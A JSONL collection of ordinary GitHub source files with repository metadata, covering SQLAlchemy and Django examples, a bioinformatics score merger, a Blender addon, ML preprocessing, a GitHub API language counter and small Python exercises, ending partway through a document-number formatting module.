+{"seq_id":"37397248147","text":"import os\nimport sys\nfrom typing import List, Optional\n\nfrom sqlalchemy import ForeignKey, String, create_engine, select\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import (DeclarativeBase, Mapped, Session, mapped_column,\n                            relationship)\nfrom Utils.env_util import load_env\n\n\nclass Base(DeclarativeBase):\n    pass\n\nclass User(Base):\n    __tablename__ = \"user_account\"\n\n    id: Mapped[int] = mapped_column(primary_key=True)\n    name: Mapped[str] = mapped_column(String(30))\n    fullname: Mapped[Optional[str]] = mapped_column(String(60))\n\n    addresses: Mapped[List[\"Address\"]] = relationship(back_populates=\"user\")\n\n    def __repr__(self) -> str:\n        return f\"User(id={self.id!r}, name={self.name!r}, fullname={self.fullname!r})\"\n\nclass Address(Base):\n    __tablename__ = \"address\"\n\n    id: Mapped[int] = mapped_column(primary_key=True)\n    email_address: Mapped[str] = mapped_column(String(100), nullable=False)\n    user_id = mapped_column(ForeignKey(\"user_account.id\"))\n\n    user: Mapped[User] = relationship(back_populates=\"addresses\")\n\n    def __repr__(self) -> str:\n        return f\"Address(id={self.id!r}, email_address={self.email_address!r})\"\n\n\ndef inserting_rows(engine: Engine) -> None:\n    squidward = User(name=\"squidward\", fullname=\"Squidward Tentacles\")\n    krabs = User(name=\"ehkrabs\", fullname=\"Eugene H. Krabs\")\n\n    print(squidward)\n    # User(id=None, name='squidward', fullname='Squidward Tentacles')\n    with Session(engine) as session:\n    # session = Session(engine)\n        session.add(squidward)\n        session.add(krabs)\n        print(session.new)\n        # IdentitySet([\n        #   User(id=None, name='squidward', fullname='Squidward Tentacles'),\n        #   User(id=None, name='ehkrabs', fullname='Eugene H. Krabs')\n        # ])\n        session.flush()\n\n        print(squidward.id)\n        print(krabs.id)\n\n        some_squidward = session.get(User, squidward.id)\n        print(some_squidward)\n        # User(id=45, name='squidward', fullname='Squidward Tentacles')\n        print(f'some_squidward is squidward: {some_squidward is squidward}')\n\n        session.commit()\n\n\ndef getting_object_by_primary_key(engine: Engine) -> None:\n    with Session(engine) as session:\n        some_squidward = session.get(User, 45)\n        print(some_squidward)\n        # User(id=45, name='squidward', fullname='Squidward Tentacles')\n\n\ndef updating_orm_objects(engine: Engine) -> None:\n    with Session(engine) as session:\n        sandy = session.execute(select(User).filter_by(name=\"sandy\")).scalar_one()\n        # User(id=5, name='sandy', fullname='Sandy Cheeks')\n        print(sandy)\n        sandy.fullname = \"Sandy Squirrel\"\n        print(session.dirty)\n        # IdentitySet([User(id=5, name='sandy', fullname='Sandy Squirrel')])\n        print(f'sandy in session.dirty: {sandy in session.dirty}')\n\n        # When the Session next emits a flush, an UPDATE will be emitted that updates this value in the database.\n        # As mentioned previously, a flush occurs automatically before we emit any SELECT, using a behavior known as autoflush.\n        sandy_fullname = session.execute(select(User.fullname).where(User.id == 5)).scalar_one()\n        print(sandy_fullname)\n\n        print(f'sandy in session.dirty: {sandy in session.dirty}')\n\n        # no actual DB change since not commited\n\n\ndef deleting_orm_objects(engine: Engine) -> None:\n    with Session(engine) as session:\n        patrick = session.get(User, 6)\n        print(patrick)\n        # User(id=6, name='patrick', fullname='Patrick McStar')\n        print(f'patrick in session: {patrick in session}')\n\n        session.delete(patrick)\n        session.execute(select(User).where(User.name == \"patrick\")).first()\n\n        print(f'patrick in session: {patrick in session}')\n\n        # no actual DB change since not commited\n\n\ndef rolling_back(engine: Engine) -> None:\n    with Session(engine) as session:\n        sandy = session.execute(select(User).filter_by(name=\"sandy\")).scalar_one()\n        # User(id=5, name='sandy', fullname='Sandy Cheeks')\n        print(sandy)\n        sandy.fullname = \"Sandy Squirrel\"\n        print(session.dirty)\n        # IdentitySet([User(id=5, name='sandy', fullname='Sandy Squirrel')])\n        print(f'sandy in session.dirty: {sandy in session.dirty}')\n\n        # When the Session next emits a flush, an UPDATE will be emitted that updates this value in the database.\n        # As mentioned previously, a flush occurs automatically before we emit any SELECT, using a behavior known as autoflush.\n        sandy_fullname = session.execute(select(User.fullname).where(User.id == 5)).scalar_one()\n        print(sandy_fullname)\n\n        print(f'sandy in session.dirty: {sandy in session.dirty}')\n\n        session.rollback()\n        print(f'sandy.__dict__: {sandy.__dict__}')\n        # sandy.__dict__: {'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x102649910>}\n        print(f'sandy.fullname: {sandy.fullname}')\n        print(f'sandy.__dict__: {sandy.__dict__}')\n        # {'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x102649910>, 'id': 5, 'name': 'sandy', 'fullname': 'Sandy Cheeks'}\n\n\n        patrick = session.get(User, 6)\n        print(patrick)\n        # User(id=6, name='patrick', fullname='Patrick McStar')\n        print(f'patrick in session: {patrick in session}')\n\n        session.delete(patrick)\n        session.execute(select(User).where(User.name == \"patrick\")).first()\n\n        print(f'patrick in session: {patrick in session}')\n        session.rollback()\n        print(f'patrick in session: {patrick in session}')\n\n\n\nif __name__ == '__main__':\n    load_env()\n    test_db = os.getenv('LOCAL_TEST_DB')\n    if test_db is None:\n        sys.exit(1)\n\n    engine = create_engine(test_db, echo=True)\n\n    # inserting_rows(engine=engine)\n    # getting_object_by_primary_key(engine=engine)\n    # updating_orm_objects(engine=engine)\n    # deleting_orm_objects(engine=engine)\n    rolling_back(engine=engine)\n","repo_name":"zhzhzh/python-misc","sub_path":"Modules/LearnSQLAlchemy/4_orm.py","file_name":"4_orm.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30007834293","text":"import sys\nimport csv\n\ncsv.field_size_limit(sys.maxsize)\n\nclass Item:\n  def __init__(self, chr=0, src='', feature='', start=0, end=0, score=0, strand='', frame='', attribute=''):\n    self.chr = chr\n    self.src = src\n    self.feature = feature\n    self.start = start\n    self.end = end \n    self.score = score\n    self.strand = strand\n    self.frame = frame\n    self.attribute = attribute\n\nclass Group:\n    def __init__(self, circRNA=0, exon_list=[]):\n        self.circRNA = circRNA\n        self.exon_list = exon_list\n\ndef input_to_groups(input):\n\n    groups = []\n\n    #read each line, form a group of circRNA with exons and add to groups\n    with open(input, \"r\", encoding=\"utf8\") as circ_star_file:\n        tsv_reader = csv.reader(circ_star_file, delimiter=\"\\t\")\n\n        #Skip the first row, which is the header\n        #next(tsv_reader)\n\n        row_list = list(tsv_reader)\n        print('input length:',len(row_list))\n        #print(row_list[0])\n\n        for i in range(0,len(row_list)):\n            row = row_list[i]\n            converted_row = [int(ele) if ele.isdigit() else ele for ele in row] #convert int to int and str to str inside a row\n            row_list[i] = converted_row\n            #print(row)\n\n        #print(row_list)\n        \n        if len(row_list) > 0:\n            row = row_list[0]\n            item = Item(row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8])\n            #print(\"item first:\",item.feature)\n\n        idx = 1\n        while(idx <= len(row_list)):\n            group = Group()\n            group.circRNA = item\n\n            #print(idx)\n            if idx > len(row_list)-1 and item.feature == 'circRNA':\n                exon_list = []\n                group.exon_list = exon_list\n                groups.append(group)\n                break\n            if idx > len(row_list)-1 and item.feature == 'exon':\n                break\n\n            row = row_list[idx]\n            item = Item(row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8])\n\n            #print('dtype')\n            #for val in row:\n            #    print(type(val))\n\n            exon_list = []\n            cnt = idx+1\n            #print(\"item:\",item.feature)\n\n            while item.feature == 'exon':\n                exon_list.append(item)\n                #print('idx=',idx)\n                #print('cnt=',cnt)\n                if cnt > len(row_list)-1:\n                    break\n                row = row_list[cnt]\n\n                item = Item(row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8])\n                cnt = cnt + 1\n\n            #print('exon list:',len(exon_list),'\\n')\n            #for i in range(0,len(exon_list)):\n            #    exon = exon_list[i]\n            #    print('exon:',exon.chr,exon.start,exon.end)\n                \n            group.exon_list = exon_list\n            #print('\\n')\n            groups.append(group)\n            idx = cnt\n\n    return groups\n\n\ninput1 = sys.argv[1] #our gtf file\ninput2 = sys.argv[2] #ML score file\noutput = sys.argv[3] #our gtf file with score embedded\n\ngroups1 = input_to_groups(input1)\nprint('len of groups in groups1:',len(groups1))\n\n#print(groups1_dict.keys())\n\nscore_dict = {}\n#read score file\nwith open(input2, \"r\", encoding=\"utf8\") as score_file:\n    tsv_reader = csv.reader(score_file, delimiter=\",\")\n\n    # skip header\n    next(tsv_reader)\n    for row in tsv_reader:\n        #print(row)\n        (circRNA_id,score) = row\n        #print(circRNA_id,score)\n        score_dict.update({circRNA_id:float(score)})\n\nwith open(output, \"w\") as f:        \n    for i in range(0,len(groups1)):\n        group = groups1[i]\n        circRNA = group.circRNA\n        exon_list = group.exon_list\n\n        hash = \"\"\n        hash = hash + str(circRNA.chr) + \":\" + str(int(circRNA.start)-1) + \"|\" + str(circRNA.end) + \"|\"\n        for j in range(0,len(exon_list)):\n            exon = exon_list[j]\n            hash = hash + str(int(exon.start)-1) + \"|\" + str(exon.end) + \"|\"\n\n        circRNA.score = score_dict[hash]\n\n        f.write(str(circRNA.chr) + \"\\t\" + circRNA.src + \"\\t\" + circRNA.feature + \"\\t\" + str(circRNA.start) + \"\\t\" + str(circRNA.end) + \"\\t\" + str(circRNA.score) + \"\\t\" + circRNA.strand + \"\\t\" + circRNA.frame + \"\\t\" + circRNA.attribute + \"\\n\")\n\n        for exon in exon_list:\n\n            exon.score = circRNA.score\n\n            f.write(str(exon.chr) + \"\\t\" + exon.src + \"\\t\" + exon.feature + \"\\t\" + str(exon.start) + \"\\t\" + str(exon.end) + \"\\t\" + str(exon.score) + \"\\t\" + exon.strand + \"\\t\" + exon.frame + \"\\t\" + exon.attribute + \"\\n\")\n\n\n","repo_name":"Shao-Group/TERRACE","sub_path":"RF-scoring/integrate.py","file_name":"integrate.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21604858086","text":"############################################################################\n#\tThis program is free software: you can redistribute it and/or modify\n#\tit under the terms of the GNU General Public License as published by\n#\tthe Free Software Foundation, either version 3 of the License, or\n#\t(at your option) any later version.\n#\n#\tThis program is distributed in the hope that it will be useful,\n#\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n#\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#\tGNU General Public License for more details.\n#\n#\tYou should have received a copy of the GNU General Public License\n#\talong with this program.  If not, see <https://www.gnu.org/licenses/>.\n############################################################################\n\nimport bpy\n\nfrom bpy.types import Operator\nfrom bpy.props import BoolProperty, EnumProperty\n\n\n\ndef get_selected_bones(ctx, armature):\n\tif ctx.mode == 'POSE':\n\t\treturn [bone for bone in armature.data.bones if bone.select]\n\telif ctx.mode == 'EDIT_ARMATURE':\n\t\treturn [bone for bone in armature.data.edit_bones if bone.select]\n\treturn []\n\n\n\ndef collect_children(bones):\n\tchildren = []\n\tfor bone in bones:\n\t\tfor child in bone.children:\n\t\t\tif not child.select:\n\t\t\t\tchildren.append(child)\n\t\t\t\tchild.select = True\n\treturn children\n\n\n\ndef select_children(selected, full, extend):\n\tnewSelectionCount = len(selected) # New Selected Count\n\n\tif full == True:\n\t\tchildren = selected\n\t\twhile newSelectionCount != 0:\n\t\t\tchildren = collect_children(children)\n\t\t\tnewSelectionCount = len(children)\n\n\telse:\n\t\tfor bone in selected:\n\t\t\tfor child in bone.children:\n\t\t\t\tchild.select = True\n\n\t\t\tif not extend:\n\t\t\t\tbone.select = False\n\n\n\ndef select_parent(selected, extend):\n\tchild_less = []\n\tfor bone in selected:\n\t\tif len(bone.children) == 0:\n\t\t\tchild_less.append(bone)\n\n\t\tif bone.parent:\n\t\t\tbone.parent.select = True\n\n\t\tif not extend:\n\t\t\tbone.select = False\n\n\tif not extend:\n\t\tfor bone in child_less:\n\t\t\tbone.select = False\n\n\n\n#TODO pose tool but works on edit_armature too\n# has to rename to armature tool\nclass Pose_OT_Select_Hierarchy_Plus(Operator):\n\tbl_idname = \"pose.select_hierarchy_plus\"\n\tbl_label = \"Select Hierarchy (Plus)\"\n\tbl_description = \"Select Parent/Children of selected Bones\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\t\n\tfull: BoolProperty(default=False)\n\textend: BoolProperty(default=False)\n\tdirection: EnumProperty(\n\t\tname='Direction',  default='CHILDREN',\n\t\titems=[\n\t\t\t(\n\t\t\t\t'PARENT', 'Parent',\n    \t\t\t'Select parent of each selected Bone'\n\t\t\t),\n\t\t\t(\n\t\t\t\t'CHILDREN', 'Children',\n\t\t\t\t'Select children of each selected Bone'\n\t\t\t)\n\t\t]\n\t)\n\n\t@classmethod\n\tdef poll(self, ctx):\n\t\treturn ctx.mode in ('POSE', 'EDIT_ARMATURE')\n\t\n\tdef execute(self, ctx):\n\t\tfor armature in ctx.selected_objects:\n\t\t\tselected = get_selected_bones(ctx, armature)\n\n\t\t\tif self.direction == 'CHILDREN':\n\t\t\t\tselect_children(selected, self.full, self.extend)\n\n\t\t\telif self.direction == 'PARENT':\n\t\t\t\tselect_parent(selected, self.extend)\n\n\t\treturn{\"FINISHED\"}\n\n\n\ndef full_selected_armatures(ctx):\n\tarmatures = [obj for obj in ctx.selected_objects if obj.type == \"ARMATURE\"]\n\tfullSelected = []\n\n\tfor armature in armatures:\n\t\tselectedBoneCount = 0\n\n\t\tfor bone in armature.data.bones:\n\t\t\tif bone.select:\n\t\t\t\tselectedBoneCount += 1\n\n\t\tif selectedBoneCount == len(armature.data.bones):\n\t\t\tfullSelected.append(armature)\n\n\treturn fullSelected\n\n\n\nclass Pose_OT_Paste_Pose_Plus(Operator):\n\tbl_idname = \"pose.paste_plus\"\n\tbl_label = \"Paste Pose (Plus)\"\n\tbl_description = \"Paste Pose on multiply selected Armatures\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\tflipped: BoolProperty(default=False)\n\tselected_mask: BoolProperty(default=False)\n\n\t@classmethod\n\tdef poll(self, ctx):\n\t\treturn ctx.mode == 'POSE'\n\n\tdef execute(self, ctx):\n\t\tcurrentActiveObject = ctx.active_object\n\n\t\tfullSelectedArmatures = full_selected_armatures(ctx)\n\n\t\tif len(fullSelectedArmatures) > 1:\n\t\t\tfor armature in fullSelectedArmatures:\n\t\t\t\tctx.view_layer.objects.active = armature\n\t\t\t\tbpy.ops.pose.paste(\n\t\t\t\t\tflipped = self.flipped,\n\t\t\t\t\tselected_mask = self.selected_mask\n\t\t\t\t)\n\n\t\t\tctx.view_layer.objects.active = currentActiveObject\n\t\t\treturn{\"FINISHED\"}\n\n\t\tbpy.ops.pose.paste(flipped=self.flipped, selected_mask=self.selected_mask)\n\t\treturn{\"FINISHED\"}\n\n\n\nclasses = (\n\tPose_OT_Select_Hierarchy_Plus,\n\tPose_OT_Paste_Pose_Plus\n)\n\n\n\ndef register_pose():\n\tfor c in classes:\n\t\tbpy.utils.register_class(c)\n\n\n\ndef unregister_pose():\n\tfor c in classes:\n\t\tbpy.utils.unregister_class(c)\n\n\n\nif __name__ == \"__main__\":\n\tregister_pose()","repo_name":"NevilArt/BsMax","sub_path":"tools/internal/animation/pose.py","file_name":"pose.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"77"}
+{"seq_id":"14339821755","text":"import argparse, os, subprocess, sys, ast, pickle, boto3\nimport numpy as np\nfrom PIL import Image\nfrom io import BytesIO\n\ndef pip_install(package):\n    subprocess.call([sys.executable, '-m', 'pip', 'install', package, '--upgrade'])\n\npip_install('transformers')\nfrom transformers import ViTFeatureExtractor\n\npip_install('datasets')\nfrom datasets import Dataset, Features, ClassLabel, Array3D\n\ns3_client = boto3.client('s3')\n\ndef s3_object_to_numpy_array(bucket, key):\n    image = s3_client.get_object(Bucket=bucket, Key=key)['Body'].read()\n    image = Image.open(BytesIO(image))\n    image = image.resize((224,224))\n    image = np.array(image, dtype=np.uint8)\n    image = np.moveaxis(image, source=-1, destination=0)   # channels first for PyTorch\n    return image\n\ndef get_image_label(key):\n    classname = key.split('/')[1]\n    label = classes.index(classname)\n    return label\n\ndef build_image_dict(bucket, prefix):\n    image_dict = {}\n    image_dict['img'] = []\n    image_dict['label'] = []\n    paginator = s3_client.get_paginator('list_objects_v2')\n    pages = paginator.paginate(Bucket=bucket, Prefix=prefix)\n    count=0\n    for page in pages:\n        for obj in page['Contents']:\n            image = s3_object_to_numpy_array(bucket, obj['Key'])\n            label = get_image_label(obj['Key'])\n            image_dict['img'].append(image)\n            image_dict['label'].append(label)\n    return image_dict\n\ndef preprocess_images(batch):\n    images = batch['img']\n    images = [np.array(image, dtype=np.uint8) for image in images]\n    inputs = feature_extractor(images)\n    batch['pixel_values'] = inputs['pixel_values']\n    return batch\n\nif __name__=='__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--bucket', type=str)\n    parser.add_argument('--prefix', type=str)\n    parser.add_argument('--classes', type=str)\n    parser.add_argument('--model_name', type=str, default='google/vit-base-patch16-224-in21k')\n\n    args, _ = parser.parse_known_args()\n    print('Received arguments {}'.format(args))\n    bucket = args.bucket\n    prefix = args.prefix\n    classes = ast.literal_eval(args.classes)\n    \n    # Load images in a Python dictionary\n    print('Loading images...')\n    image_dict = build_image_dict(bucket, prefix)\n    \n    # Load dictionary in Hugging Face dataset\n    print('Building data set...')\n    features = Features({\n        'label': ClassLabel(names=classes),\n        'img': Array3D(dtype='int64', shape=(3,224,224))\n    })\n    dataset = Dataset.from_dict(image_dict, features=features)\n    \n    # Extract image features and add them to dataset\n    print('Extracting features...')\n    feature_extractor = ViTFeatureExtractor.from_pretrained(args.model_name)\n    features = Features({\n        'label': ClassLabel(names=classes),\n        'img': Array3D(dtype='int64', shape=(3,224,224)),\n        'pixel_values': Array3D(dtype=\"float32\", shape=(3, 224, 224))\n    })\n    preprocessed_dataset = dataset.map(preprocess_images, batched=True, features=features)\n        \n    print('Splitting data set...')\n    splits = preprocessed_dataset.train_test_split(test_size=0.2)\n    train_dataset = splits['train']\n    splits = splits['test'].train_test_split(test_size=0.5)\n    valid_dataset = splits['train']\n    test_dataset = splits['test']\n    \n    print(train_dataset)\n    print(valid_dataset)\n    print(test_dataset)\n\n    print('Saving data sets...')\n    train_dataset.save_to_disk('/opt/ml/processing/train')\n    valid_dataset.save_to_disk('/opt/ml/processing/valid')\n    test_dataset.save_to_disk('/opt/ml/processing/test')","repo_name":"rebelStats/Vision_Transformer_Salmon","sub_path":"AWS deployment/image-processing.py","file_name":"image-processing.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70397790329","text":"class Student:\n\n    def __init__(self):\n        #instance variable\n        self.name = input(\"Enter your name:\")\n        self.cname = input(\"Enter your college name:\")\n        self.section = int(input(\"Enter your section:\"))\n\n\nclass Test(Student):\n    def display(self):\n        print(\"============ Student info  ==========\")\n        print(\"Name is : \", self.name)\n        print(\"College Name is:\", self.cname)\n        print(\"Roll number is:\", self.section)\n\n\nstud1 = Test()\nstud1.display()\n","repo_name":"beb777/study_python","sub_path":"021.py","file_name":"021.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"24333163693","text":"from django.shortcuts import render\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import Artists\nfrom .models import Albums\nfrom .models import Tracks\n\n\n# Create your views here.\n\n@api_view(['GET'])\ndef get_artist_list(request):\n\n    artists = Artists.objects.all().values('Name', 'ArtistId')\n    list_artists = [{\"Name\": artist[\"Name\"], \"ArtistId\": artist[\"ArtistId\"]} for artist in artists]\n\n    return Response(list_artists)\n\n\n@api_view(['GET'])\ndef get_albums_tracks_list(request):\n    list_dict_albums_tracks = []\n    for album in Albums.objects.values('AlbumId', 'Title'):\n        tracks = Tracks.objects.filter(AlbumId=album[\"AlbumId\"]).values('Name')\n        dict_album_track = {\"Title\": album[\"Title\"], \"AlbumId\": album[\"AlbumId\"], \"Tracks\": [track[\"Name\"] for track in tracks]} \n        list_dict_albums_tracks.append(dict_album_track)\n\n    return Response(list_dict_albums_tracks)\n\n\n@api_view(['GET'])\ndef get_albums_artist_list(request, artist_id):\n    albums_artist = Albums.objects.filter(ArtistId=artist_id).values('Title')\n    list_albums_artist = [album[\"Title\"] for album in albums_artist]\n    return Response(list_albums_artist)\n\n\n@api_view(['GET'])\ndef get_tracks_album_list(request, album_id):\n    tracks_album = Tracks.objects.filter(AlbumId=album_id).values('Name')\n    list_tracks_album = [track[\"Name\"] for track in tracks_album]\n    return Response(list_tracks_album)\n\n\n@api_view(['GET'])\ndef get_info_album_list(request):\n    list_dict_albums_info = []\n    for album in Albums.objects.values('AlbumId', 'Title', 'ArtistId'):\n        tracks = Tracks.objects.filter(AlbumId=album[\"AlbumId\"]).count()\n        artist = Artists.objects.filter(ArtistId=album[\"ArtistId\"]).values('Name')\n        dict_album_track = {\"Album\": album[\"Title\"], \"Tracks\": tracks, \"Artist\": artist[0][\"Name\"]} \n        list_dict_albums_info.append(dict_album_track)\n\n    return Response(list_dict_albums_info)","repo_name":"antoniogmzstat/django-chinook-api","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"8637930909","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\n\nclass _DumperRunHook(tf.train.SessionRunHook):\n  def __init__(self, filename=\"tensors\",global_step=\"global_step:0\"):\n    self._filename = filename\n    self._fetches = []\n    self._tensor_names=[]\n    self._global_step=global_step\n    self._count=0\n    self._fetch_list=[]\n    if self._global_step:\n      self._fetch_list = [\n          self._global_step,\n      ]\n    self._store_names=[]\n  def after_create_session(self, session, coord):\n    pass\n\n  def before_run(self, run_context):\n    return tf.train.SessionRunArgs(fetches=self._fetch_list+[x[0] for x in self._fetches])\n\n  def after_run(self, run_context, run_values):\n    ret_vals = run_values.results\n    if self._global_step:\n      global_step=ret_vals[0]\n      ret_vals=ret_vals[1:]\n    else:\n      global_step=self._count\n    kwargs = dict(zip(self._store_names, ret_vals))\n    np.savez_compressed(\n        '%s.%s.npz' %(self._filename,global_step), **kwargs\n    )\n    self._count += 1\n\n  def add_tensor(self, tensor, name=None):\n    tf.logging.warn(\"Adding %s with name %s\"%(tensor.name,name))\n    if not isinstance(tensor,tf.Tensor):\n      raise KeyError(\"tensor must be a tf.Tensor but is %s\"%type(tensor))\n    store_name = tensor.name if name is None else name\n    if tensor.name in self._tensor_names:\n      tf.logging.error(\"tensor %s is already added to the list %s\"%(tensor.name,zip(self._tensor_names,self._store_names)))\n      raise ValueError(\"tensor %s is already added to the list\"%tensor.name)\n    elif  name in self._store_names:\n      raise ValueError(\"name %s is already used\"%name)\n    else:\n      self._tensor_names.append(tensor.name)\n      self._fetches.append((tensor,store_name))\n      self._store_names.append(store_name)\n\n_TFDumpers={None:_DumperRunHook()}\n\ndef add_dumper(name,filename=\"tensors\",global_step=None):\n  if name is None:\n    raise KeyError(\"name must be non-none\")\n  for k,v in _TFDumpers.items():\n    if v._filename == filename:\n      raise KeyError(\"File name %s is already used in %s\"%(filename,k if k is not None else \"Default\"))\n  if name not in _TFDumpers.items():\n    _TFDumpers[name]=_DumperRunHook(filename,global_step)\n\ndef get_dumper(name=None):\n  return _TFDumpers.get(name,None)\n","repo_name":"samikama/tf_tensor_dumper","sub_path":"tf_tensor_dumper/tensor_dumper.py","file_name":"tensor_dumper.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40688885551","text":"from github import Github\nimport json\n\n#graphuviz\n#pythonchart\n#pythonplotting\n\n# using username and password\ng = Github(\"with\", \"extra\")\npyth = str(\"python\")\n#uhh = g.search_repositories(query = \"language:python created:2019-10-06..2019-10-07\",)\ngoogle = g.search_repositories(\"org:google is:public created:2019-01-01..2019-12-31\")\nprint(\"The {0:100}\".format(str(g.get_rate_limit())))\ni = 0\nlang = \"\"\ngoogleLEmps = {}\nemployees = []\nfor repo in google:\n    if(i == 899):\n        print(\"done\")\n        break\n    contributorList = repo.get_contributors()\n    for helper in contributorList:\n        if (i == 899):\n            i += 1\n            break\n        if helper.id in employees or helper.company == None:\n            i += 1\n            continue\n        elif \"oogle\" in helper.company:\n            employees.append(helper.id)\n            repoList = helper.get_repos()\n            for hRepo in repoList:\n                if(i == 899):\n                    i += 1\n                    break\n                lang = hRepo.language\n                if lang not in googleLEmps:\n                    googleLEmps[lang] = 1\n                    print(\"{0} repo count is: {1}\".format(lang, str(googleLEmps[lang])))\n                else:\n                    googleLEmps[lang] += 1\n                    print(\"{0} repo count is: {1}\".format(lang, str(googleLEmps[lang])))\n    i += 1\n    #branch = repo.get_branch(\"master\")\n    #x = branch._rawData\n    #y = x[\"commit\"]\n    #z = y[\"commit\"]\n    #d = z[\"author\"]\n   # c = d[\"date\"]\n   # print(repo.created_at)\nprint(googleLEmps)\nf = open(\"googleEmpLanguages.json\",\"x\")\nprint(i)\nf.write(json.dumps(googleLEmps))\nf.close()\nprint(json.dumps(googleLEmps))\n\n\n","repo_name":"davethedave41/LCA","sub_path":"GithubAPI/googleEmpLangs.py","file_name":"googleEmpLangs.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7715648389","text":"from django.urls import path\nfrom appproyecto import views\n\nurlpatterns = [\n    path('', views.inicio, name=\"Inicio\"),\n    path('Cursos/', views.curso, name=\"Cursos\"),\n    path('Profesores/', views.profesores, name=\"Profesores\"),\n    path('Alumnos/', views.alumnos, name=\"Alumnos\"),\n    path('Actividades/', views.actividades, name=\"Actividades\"),\n    path('cursoFormulario/', views.cursoFormulario, name=\"cursoFormulario\"),\n    path('profesoresform/', views.profesoresform, name=\"profesoresform\"),\n    path('alumnosform/', views.alumnosform, name=\"alumnosform\"),\n    path('actividadesform/', views.actividadform, name=\"actividadesform\"),\n    path('buscarInfo/', views.buscarInfo, name=\"buscarInfo\"),\n    path('buscar/', views.buscar)\n]","repo_name":"MontenegroT/Tercera_Pre_Entrega_Montenegro","sub_path":"appproyecto/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"gl","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9722724521","text":"number = int(raw_input(\"How may numbers in Fibonacci to print? \"))\na = 0\nb = 1\ncount = 0\nwhile count < number:\n    old_a = a\n    old_b = b\n    a = old_b\n    b = old_a + old_b\n    print(old_a),\n    count = count + 1\n","repo_name":"karan/PyFibonacci","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"40427627369","text":"from library.Utils import *\n\n# Получаем значение счетчика для договора/счета - пациент не указывается.\ndef getContractDocumentNumber(counterId):\n    return getDocumentNumber(None, counterId)\n\n# Значение счетчика для внешней учетной системы\ndef getAccountingSystemIdentifier(counterId):\n    return getDocumentNumber(None, counterId)\n\ndef getDocumentNumber(clientId, counterId):\n    db = QtGui.qApp.db\n    while True:\n        query = db.query('SELECT getCounterValue(%d)'%counterId)\n        if query.next():\n            value = forceInt(query.value(0))\n            if value:\n                record = db.getRecord('rbCounter', '`prefix`, `postfix`, `separator`', counterId)\n                prefix = forceString(record.value('prefix'))\n                postfix = forceString(record.value('postfix'))\n                separator = forceString(record.value('separator'))\n                return formatDocumentNumber(prefix, postfix, separator, value, clientId)\n\n#example: formatDocumentNumber('date(yy:MM:dd);id(2)', 'id();str(GD23)', '--', 111, 4442) ### `postfix` like `prefix`\n# Префикс/постфикс - это разделенные через точку с запятой блоки данных (без кавычек):\n#   \"date(<формат_даты>)\" - текущая дата (на момент формирования имени) в указанном формате\n#       \"D\" или \"d\" - обозначение дня без предшествующего нуля (1-31).\n#       \"DD\" или \"dd\" - обозначение дня с предшествующим нулем (01-31).\n#       \"DDD\" или \"ddd\" - обозначение дня в виде сокращенного наименования недели в соотв. с локалью системы(Mon-Sun).\n#       \"DDDD\" или \"dddd\" - обозначение дня в виде полного наименования недели в соотв. с локалью системы (Monday-Sunday).\n#       \"M\" или \"m\" - обозначение месяца без предшествующего нуля (1-12).\n#       \"MM\" или \"mm\" - обозначение месяца с предшествующим нулем (01-12).\n#       \"MMM\" или \"mmm\" - обозначение месяца в виде сокращенного имени в соотв. с локалью системы(Jan-Dec).\n#       \"MMMM\" или \"mmmm\" - обозначение месяца в виде полного имени в соотв. с локалью системы (January-December).\n#       \"YY\" или \"yy\" - обозначение года в двухзначном формате(00-99).\n#       \"YYYY\" или \"yyyy\" - обозначение года в четырехзначном формате(0000-9999).\n#   \"id(<код_внешней_системы>)\" - Идентификатор пациента (ClientIdentification.identifier)\n#       в системе с кодом <код_внешней_системы> (rbAccountingSystem.code).\n#   \"str(<произвольная_постоянная_строка>)\" - постоянная произвольная строка\n#\n#   Пример: prefix = \"date(dd.MM.yyyy);str(__);id(test)\"\n\ndef formatDocumentNumber(prefix, postfix, separator, value, clientId = None):\n    def getDatePrefix(val):\n        val = val.replace('Y', 'y').replace('m', 'M').replace('D', 'd')\n        if val.count('y') not in [0, 2, 4] or val.count('M')>2 or val.count('d')>2:\n            return None\n        s = QDate.currentDate().toString(val)\n        if QDate.fromString(s,val).isValid():\n            return unicode(s)\n        return None\n\n    def getIdPrefix(val):\n        if val == '' or not 